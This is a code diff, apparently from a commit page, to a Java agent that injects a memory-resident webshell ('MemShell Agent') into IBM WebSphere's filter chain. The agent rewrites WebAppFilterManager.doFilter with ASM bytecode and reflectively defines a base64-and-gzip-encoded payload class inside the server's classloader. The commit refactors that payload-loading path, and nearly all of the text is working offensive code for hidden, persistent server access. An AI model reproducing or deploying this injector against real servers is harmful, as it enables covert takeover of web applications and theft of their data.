1919public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
2020 private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager" ;
2121 private static final String TARGET_METHOD_NAME = "doFilter" ;
22- private static Class <?> payload ;
23- private static ClassLoader targetClassLoader ;
24- private static String thisClassName = WebSphereFilterChainAgentInjector .class .getName ();
2522
2623 public static String getClassName () {
2724 return "{{advisorName}}" ;
@@ -39,38 +36,24 @@ public static void agentmain(String args, Instrumentation inst) throws Exception
3936 launch (inst );
4037 }
4138
42-
43- @ Override
44- public boolean equals (Object obj ) {
45- if (payload == null ) {
46- payload = new AgentShellClassLoader (targetClassLoader ).defineDynamicClass (gzipDecompress (decodeBase64 (getBase64String ())));
47- }
48- try {
49- return payload .newInstance ().equals (obj );
50- } catch (Throwable e ) {
51- e .printStackTrace ();
52- return false ;
53- }
54- }
55-
5639 private static void launch (Instrumentation inst ) throws Exception {
5740 System .out .println ("MemShell Agent is starting" );
5841 inst .addTransformer (new WebSphereFilterChainAgentInjector (), true );
5942 for (Class <?> allLoadedClass : inst .getAllLoadedClasses ()) {
6043 String name = allLoadedClass .getName ();
6144 if (TARGET_CLASS .replace ("/" , "." ).equals (name )) {
6245 inst .retransformClasses (allLoadedClass );
46+ System .out .println ("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter" );
6347 }
6448 }
65- System .out .println ("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter" );
6649 }
6750
6851 @ Override
6952 @ SuppressWarnings ("all" )
7053 public byte [] transform (final ClassLoader loader , String className , Class <?> classBeingRedefined ,
7154 ProtectionDomain protectionDomain , byte [] bytes ) {
7255 if (TARGET_CLASS .equals (className )) {
73- targetClassLoader = loader ;
56+ defineTargetClass ( loader ) ;
7457 try {
7558 ClassReader cr = new ClassReader (bytes );
7659 ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES ) {
@@ -99,7 +82,7 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
9982 if (TARGET_METHOD_NAME .equals (name )) {
10083 try {
10184 Type [] argumentTypes = Type .getArgumentTypes (descriptor );
102- return new AgentShellMethodVisitor (mv , argumentTypes , thisClassName );
85+ return new AgentShellMethodVisitor (mv , argumentTypes , getClassName () );
10386 } catch (Exception e ) {
10487 e .printStackTrace ();
10588 }
@@ -130,23 +113,10 @@ public void visitCode() {
130113 mv .visitTryCatchBlock (tryStart , tryEnd , catchHandler , "java/lang/Throwable" );
131114
132115 mv .visitLabel (tryStart );
133- mv .visitLdcInsn (className );
134- mv .visitInsn (Opcodes .ICONST_1 );
135- mv .visitMethodInsn (Opcodes .INVOKESTATIC ,
136- "java/lang/ClassLoader" ,
137- "getSystemClassLoader" ,
138- "()Ljava/lang/ClassLoader;" ,
139- false );
140- mv .visitMethodInsn (Opcodes .INVOKESTATIC ,
141- "java/lang/Class" ,
142- "forName" ,
143- "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;" ,
144- false );
145- mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL ,
146- "java/lang/Class" ,
147- "newInstance" ,
148- "()Ljava/lang/Object;" ,
149- false );
116+ String internalClassName = className .replace ('.' , '/' );
117+ mv .visitTypeInsn (Opcodes .NEW , internalClassName );
118+ mv .visitInsn (Opcodes .DUP );
119+ mv .visitMethodInsn (Opcodes .INVOKESPECIAL , internalClassName , "<init>" , "()V" , false );
150120 mv .visitInsn (Opcodes .SWAP );
151121 mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL ,
152122 "java/lang/Object" ,
@@ -196,85 +166,6 @@ private int getArgIndex(final int arg) {
196166 }
197167 }
198168
199- public static class AgentShellClassLoader extends URLClassLoader {
200- private final ClassLoader targetClassLoader ;
201-
202- public AgentShellClassLoader (ClassLoader targetClassLoader ) {
203- super (new URL [0 ], ClassLoader .getSystemClassLoader ());
204- this .targetClassLoader = targetClassLoader ;
205- }
206-
207- @ SuppressWarnings ("all" )
208- private Object getClassLoadingLock0 (String className ) {
209- try {
210- return getClassLoadingLock (className );
211- } catch (Throwable t ) {
212- return this ;
213- }
214- }
215-
216- public Class <?> defineDynamicClass (byte [] bytes ) {
217- return defineClass (bytes , 0 , bytes .length );
218- }
219-
220- @ Override
221- protected Class <?> loadClass (String name , boolean resolve ) throws ClassNotFoundException {
222- Class <?> clazz = null ;
223- if (name == null || name .startsWith ("java." )) {
224- clazz = getParent ().loadClass (name );
225- } else {
226- try {
227- clazz = findLoadedClass (name );
228- if (clazz == null ) {
229- synchronized (getClassLoadingLock0 (name )) {
230- clazz = findLoadedClass (name );
231- if (clazz == null ) {
232- clazz = findClass (name );
233- }
234- }
235- }
236- } catch (Throwable ignored ) {
237- }
238- try {
239- if (clazz == null ) {
240- clazz = getParent ().loadClass (name );
241- }
242- } catch (ClassNotFoundException e ) {
243- try {
244- clazz = tryToLoadByContextClassLoader (name , resolve );
245- } catch (Throwable ignored ) {
246- throw e ;
247- }
248- }
249- }
250-
251- if (resolve ) {
252- resolveClass (clazz );
253- }
254- return clazz ;
255- }
256-
257- public Class <?> tryToLoadByContextClassLoader (String name , boolean resolve ) throws ClassNotFoundException {
258- if (targetClassLoader != null ) {
259- Class <?> clazz = targetClassLoader .loadClass (name );
260- if (resolve ) {
261- resolveClass (clazz );
262- }
263- return clazz ;
264- }
265- ClassLoader contextClassLoader = Thread .currentThread ().getContextClassLoader ();
266- if (contextClassLoader != null ) {
267- Class <?> clazz = contextClassLoader .loadClass (name );
268- if (resolve ) {
269- resolveClass (clazz );
270- }
271- return clazz ;
272- } else {
273- return null ;
274- }
275- }
276- }
277-
278169 @ SuppressWarnings ("all" )
279170 public static byte [] decodeBase64 (String base64Str ) {
280171 Class <?> decoderClass ;
@@ -316,4 +207,20 @@ public static byte[] gzipDecompress(byte[] compressedData) {
316207 }
317208 }
318209 }
210+
211+ @ SuppressWarnings ("all" )
212+ public void defineTargetClass (ClassLoader loader ) {
213+ try {
214+ loader .loadClass (getClassName ());
215+ return ;
216+ } catch (ClassNotFoundException ignored ) {
217+ }
218+ byte [] classBytecode = gzipDecompress (decodeBase64 (getBase64String ()));
219+ try {
220+ java .lang .reflect .Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
221+ defineClass .setAccessible (true );
222+ defineClass .invoke (loader , classBytecode , 0 , classBytecode .length );
223+ } catch (Exception ignored ) {
224+ }
225+ }
319226}
0 commit comments